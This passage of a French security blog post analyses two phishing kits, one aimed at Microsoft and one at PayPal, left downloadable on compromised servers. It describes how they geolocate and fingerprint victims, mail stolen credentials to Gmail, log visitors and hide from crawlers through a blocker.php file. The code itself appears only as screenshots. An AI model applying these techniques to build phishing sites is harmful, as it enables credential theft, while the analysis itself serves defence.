<p>Un lien classique, on remarque une URL à rallonge et un chemin composé de ce qui ressemble à un <em>hash.</em> La page web est, comme d'habitude, très ben réalisée et un utilisateur "lambda" ne verra rien qui puisse le faire douter :</p>
<p><a href="media/031f8c21.Phishink_microsoft_phishtank-17.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-17.png"><img class="aligncenter size-large wp-image-34288" src="media/0df7a682.Phishink_microsoft_phishtank-17-800x436.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-17-800x436.png" alt="" width="800" height="436" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-17-800x436.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-17-550x300.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-17-150x82.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-17-768x419.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-17-160x87.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-17-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-17.png 979w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>On peut d'ailleurs remarquer que le <em>hash</em> composant l'URL n'est pas le même que sur le lien Phishtank remonté par un utilisateur. Celui-ci change en effet à chaque rechargement de page. Peut être une méthode pour tromper les systèmes de protection ou les <em>crawlers</em> ?</p>
<p><a href="media/e80a52ab.Phishink_microsoft_phishtank-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-11.png"><img class="aligncenter size-full wp-image-34287" src="media/e80a52ab.Phishink_microsoft_phishtank-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-11.png" alt="" width="716" height="306" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-11.png 716w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-11-550x235.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-11-150x64.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-11-160x68.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-11-50x21.png 50w" sizes="(max-width: 716px) 100vw, 716px" /></a></p>
<p>En remontant le chemin de l'URL, je constate la présence d'une mauvaise configuration sur le site qui permet le<em> directory listing</em> :</p>
<p><a href="media/c84d763b.Phishink_microsoft_phishtank-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-1.png"><img class="aligncenter size-full wp-image-34286" src="media/c84d763b.Phishink_microsoft_phishtank-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-1.png" alt="" width="543" height="286" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-1.png 543w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-1-150x79.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-1-160x84.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-1-50x26.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-1-390x205.png 390w" sizes="(max-width: 543px) 100vw, 543px" /></a>Chose intéressante, une archive ZIP est présente, elle contient l'ensemble du "package" de <em>phishing</em> de l'attaquant, code source PHP compris. L'attaquant a visiblement oublié de la supprimer :</p>
<p><a href="media/e3138e14.Phishink_microsoft_phishtank-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-4.png"><img class="aligncenter size-full wp-image-34285" src="media/e3138e14.Phishink_microsoft_phishtank-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-4.png" alt="" width="229" height="345" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-4.png 229w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-4-100x150.png 100w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-4-106x160.png 106w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-4-33x50.png 33w" sizes="(max-width: 229px) 100vw, 229px" /></a></p>
<p>Voila qui va me permettre d'étudier un peu plus précisément le fonctionnement de ce site de <em>phishing.</em> Il sera notamment plus facile de voir où vont les données dérobées. Dans un premier temps, je parcours rapidement l'ensemble des fichiers. Je vois par exemple la présence d'un module permettant de retrouver la position géographique de l'utilisateur :</p>
<p><a href="media/da1207f8.Phishink_microsoft_phishtank-5.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-5.png"><img class="aligncenter size-full wp-image-34284" src="media/da1207f8.Phishink_microsoft_phishtank-5.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-5.png" alt="" width="456" height="461" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-5.png 456w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-5-148x150.png 148w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-5-158x160.png 158w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-5-50x50.png 50w" sizes="(max-width: 456px) 100vw, 456px" /></a></p>
<p>L'étude du code source PHP m'apprend également que les données sont envoyées par mail sur un service bien connu (Gmail) :</p>
<p><a href="media/26a7ca59.Phishink_microsoft_phishtank-13.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-13.png"><img class="aligncenter size-full wp-image-34283" src="media/26a7ca59.Phishink_microsoft_phishtank-13.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-13.png" alt="" width="755" height="368" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-13.png 755w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-13-550x268.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-13-150x73.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-13-160x78.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-13-50x24.png 50w" sizes="(max-width: 755px) 100vw, 755px" /></a> <a href="media/6661b820.Phishink_microsoft_phishtank-6.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-6.png"><img class="aligncenter size-full wp-image-34282" src="media/6661b820.Phishink_microsoft_phishtank-6.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-6.png" alt="" width="751" height="671" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-6.png 751w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-6-550x491.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-6-150x134.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-6-160x143.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-6-50x45.png 50w" sizes="(max-width: 751px) 100vw, 751px" /></a><br />
Bien évidement, ces adresses mail existent belle et bien mais sont "protégées" par les multiples sécurité du service Gmail de Google :</p>
<p><a href="media/8f264f5e.Phishink_microsoft_phishtank-9.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-9.png"><img class="aligncenter size-large wp-image-34281" src="media/c8791bc1.Phishink_microsoft_phishtank-9-800x350.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-9-800x350.png" alt="" width="800" height="350" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-9-800x350.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-9-550x240.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-9-150x66.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-9-768x336.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-9-160x70.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-9-50x22.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-9.png 1357w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Ce n'est pas la première fois que je vois cela, c'est même systématique. Les attaquants envoient les données volées à des services tiers, ce qui leur évite d'avoir à revenir fréquemment consulter les pages de leur <em>phishing,</em> ce qui laisserait des traces dans les journaux d'évènements du serveur victime. Ils sont alors "couverts" par la protection de ces services (Gmail, Outlook, Yahoo, etc.). Le seul moyen d'accéder à des informations concernant ces adresses mail est certainement d'être un gouvernement, sinon aucune chance. Quelques rapides recherches sur ces adresses mail ne donnent rien d'intéressant :</p>
<p><a href="media/c2e22552.Phishink_microsoft_phishtank-8.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-8.png"><img class="aligncenter size-large wp-image-34280" src="media/437bc5f9.Phishink_microsoft_phishtank-8-800x512.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-8-800x512.png" alt="" width="800" height="512" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-8-800x512.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-8-550x352.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-8-150x96.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-8-768x491.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-8-160x102.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-8-50x32.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-8.png 808w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>La création et suppression d'adresses mail est tellement triviale sur ces services qu'il est facile d'en utiliser une par site compromis (par exemple) et de tout supprimer en cas de besoin. Au total je ne trouve que deux adresses mail :</p>
<p><a href="media/84a0a354.Phishink_microsoft_phishtank-15.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-15.png"><img class="aligncenter size-full wp-image-34279" src="media/84a0a354.Phishink_microsoft_phishtank-15.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-15.png" alt="" width="763" height="125" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-15.png 763w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-15-550x90.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-15-150x25.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-15-160x26.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-15-50x8.png 50w" sizes="(max-width: 763px) 100vw, 763px" /></a></p>
<p>Plus intéressant, le site de <em>phishing</em> semble journaliser les allées et venues des utilisateurs dans un fichier <em>vu.txt</em>, trouvé grâce à l'étude du code source :</p>
<p><a href="media/0943803e.Phishink_microsoft_phishtank-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-3.png"><img class="aligncenter size-full wp-image-34278" src="media/0943803e.Phishink_microsoft_phishtank-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-3.png" alt="" width="609" height="795" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-3.png 609w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-3-550x718.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-3-115x150.png 115w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-3-123x160.png 123w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-3-38x50.png 38w" sizes="(max-width: 609px) 100vw, 609px" /></a></p>
<p>Une belle liste d'adresses IP de victimes s'affiche, celle-ci est très courte par rapport à ce que j'ai l'habitude de voir. A noter que tous les accès sont récents (moins de deux jours), ce qui est très fréquent car les sites se font généralement rapidement blacklisté (grâce à des plateformes telle que Phishtank notamment).</p>
<p>L'occasion également de découvrir un <em>blocker.php</em>, inclus dans chaque fichier PHP en première ligne. Celui-ci contient un ensemble de listes d'IP et de mots-clés :</p>
<p><a href="media/cb28c5d1.Phishink_microsoft_phishtank-19.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-19.png"><img class="aligncenter size-large wp-image-34277" src="media/dfe90a59.Phishink_microsoft_phishtank-19-800x400.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-19-800x400.png" alt="" width="800" height="400" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-19-800x400.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-19-550x275.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-19-150x75.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-19-768x384.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-19-160x80.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-19-50x25.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-19.png 950w" sizes="(max-width: 800px) 100vw, 800px" /></a> <a href="media/2b775f83.Phishink_microsoft_phishtank-20.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-20.png"><img class="aligncenter size-large wp-image-34276" src="media/28f627a8.Phishink_microsoft_phishtank-20-800x186.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-20-800x186.png" alt="" width="800" height="186" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-20-800x186.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-20-550x128.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-20-150x35.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-20-768x179.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-20-160x37.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-20-50x12.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-20.png 942w" sizes="(max-width: 800px) 100vw, 800px" /></a><br />
Leur rôle est simple à comprendre, elles permettent d'afficher une erreur 404 aux solutions de détection et de protection automatisées, ou de bloquer les <em>crawlers</em> des moteurs de recherche, et ainsi d'éviter d'être catégorisé trop rapidement en tant que site de <em>phishing</em> ou d'être référencé.</p>
<p>Chose intéressante, le site de <em>phishing</em> essaye ici de voler des comptes Microsoft. Le service en ligne Microsoft comporte une fonction de sécurité permettant de retracer l’activité de connexion d'un compte. Cette activité ne peut pas être supprimée par l'utilisateur :</p>
<p><a href="media/2191233c.Phishink_microsoft_phishtank-22.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-22.png"><img class="aligncenter size-large wp-image-34275" src="media/ce397d4c.Phishink_microsoft_phishtank-22-800x461.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-22-800x461.png" alt="" width="800" height="461" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-22-800x461.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-22-550x317.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-22-150x86.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-22-768x442.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-22-160x92.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-22-50x29.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-22.png 1308w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>J'ai donc tendu un petit "piège" à notre cher attaquant, en saisissant les informations d'un compte Microsoft valide, créé pour l'occasion. Au bout de quelques jours d'attente, je constate un accès provenant de Bombay (Mumbai) en Inde :</p>
<p><a href="media/10e1c74d.Phishink_microsoft_phishtank-21.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-21.png"><img class="aligncenter size-large wp-image-34274" src="media/f1f43795.Phishink_microsoft_phishtank-21-800x411.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-21-800x411.png" alt="" width="800" height="411" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-21-800x411.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-21-550x283.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-21-150x77.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-21-768x395.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-21-160x82.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-21-50x26.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_microsoft_phishtank-21.png 1275w" sizes="(max-width: 800px) 100vw, 800px" /></a>C'est bien sur bien mince pour en savoir plus sur l'identité de l'attaquant, mais l'on sait déjà que la poursuite d'un Indien, par des services juridiques Français, par l’intermédiaire d'informations à obtenir d'un service Américain, ne sera pas chose facile. La journalisation des connexions à un compte est important, on voit ici clairement l'intérêt de cette fonction de sécurité, absente de bien des services (bancaires en France notamment). Cette fonction est par exemple mentionnée dans l'OWASP ASVS (<a href="media/279db428.OWASPApplicationSecurityVerificationStandard3.0.pdf" data-original-source="https://www.owasp.org/images/6/67/OWASPApplicationSecurityVerificationStandard3.0.pdf" target="_blank" rel="noopener noreferrer">https://www.owasp.org/images/6/67/OWASPApplicationSecurityVerificationStandard3.0.pdf</a>), notamment aux points 2,12, 3.17 et 3.18.</p>
<h2>IV. Phishing Paypal</h2>
<p>Je suis ensuite tombé sur un site de <em>phishing</em> Paypal qui présentait la même erreur, l'archive ZIP déposée par l'attaquant pouvait être téléchargée :<a href="media/ed04f0b1.Phishing_paypal_phistank-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-2.png"><img class="aligncenter size-full wp-image-34273" src="media/ed04f0b1.Phishing_paypal_phistank-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-2.png" alt="" width="756" height="585" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-2.png 756w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-2-550x426.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-2-150x116.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-2-160x124.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-2-50x39.png 50w" sizes="(max-width: 756px) 100vw, 756px" /></a> <a href="media/e56d36b7.Phishing_paypal_phistank-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-4.png"><img class="aligncenter size-full wp-image-34272" src="media/e56d36b7.Phishing_paypal_phistank-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-4.png" alt="" width="492" height="184" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-4.png 492w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-4-150x56.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-4-160x60.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-4-50x19.png 50w" sizes="(max-width: 492px) 100vw, 492px" /></a><br />
Je découvre encore la présence d'un fichier <em>vu.txt</em>, celui-ci contient cette fois-ci plus de 700 entrées :</p>
<p><a href="media/1ea7dc02.Phishing_paypal_phistank-5.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-5.png"><img class="aligncenter size-large wp-image-34271" src="media/8c89728f.Phishing_paypal_phistank-5-800x404.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-5-800x404.png" alt="" width="800" height="404" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-5-800x404.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-5-550x278.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-5-150x76.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-5-768x388.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-5-160x81.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-5-50x25.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-5.png 1236w" sizes="(max-width: 800px) 100vw, 800px" /></a> <a href="media/6204547c.Phishing_paypal_phistank-7.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-7.png"><img class="aligncenter size-large wp-image-34270" src="media/a867d5b1.Phishing_paypal_phistank-7-800x60.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-7-800x60.png" alt="" width="800" height="60" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-7-800x60.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-7-550x41.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-7-150x11.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-7-768x58.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-7-160x12.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-7-50x4.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-7.png 1209w" sizes="(max-width: 800px) 100vw, 800px" /></a><br />
Le code source est lui plus complet que précédemment :</p>
<p><a href="media/20231776.Phishing_paypal_phistank-8.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-8.png"><img class="aligncenter size-full wp-image-34269" src="media/20231776.Phishing_paypal_phistank-8.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-8.png" alt="" width="730" height="907" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-8.png 730w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-8-550x683.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-8-121x150.png 121w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-8-129x160.png 129w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-8-40x50.png 40w" sizes="(max-width: 730px) 100vw, 730px" /></a> <a href="media/623011c4.Phishing_paypal_phistank-9.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-9.png"><img class="aligncenter size-full wp-image-34268" src="media/623011c4.Phishing_paypal_phistank-9.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-9.png" alt="" width="475" height="395" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-9.png 475w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-9-150x125.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-9-160x133.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-9-50x42.png 50w" sizes="(max-width: 475px) 100vw, 475px" /></a></p>
<p>On trouve notamment un ensemble de fonctions visant à découvrir plus d'informations à propos de sa victime, par exemple la version du système d'exploitation utilisé :</p>
<p><a href="media/d1665832.Phishing_paypal_phistank-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-11.png"><img class="aligncenter size-large wp-image-34267" src="media/dc10bfe2.Phishing_paypal_phistank-11-800x757.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-11-800x757.png" alt="" width="800" height="757" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-11-800x757.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-11-550x521.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-11-150x142.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-11-768x727.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-11-160x151.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-11-50x47.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-11.png 921w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Niveau adresse mail, j'en découvre deux dans le code source :</p>
<p><a href="media/f775beb9.Phishing_paypal_phistank-16.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-16.png"><img class="aligncenter size-full wp-image-34266" src="media/f775beb9.Phishing_paypal_phistank-16.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-16.png" alt="" width="801" height="57" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-16.png 801w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-16-550x39.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-16-150x11.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-16-768x55.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-16-160x11.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-16-50x4.png 50w" sizes="(max-width: 801px) 100vw, 801px" /></a><br />
Un autre détail du code source attire rapidement mon attention, la présence d'une journalisation des entrées saisies dans un fichier nommé <em>SHADOWPaypal.html</em> en plus de l'envoi de ces informations par mail :</p>
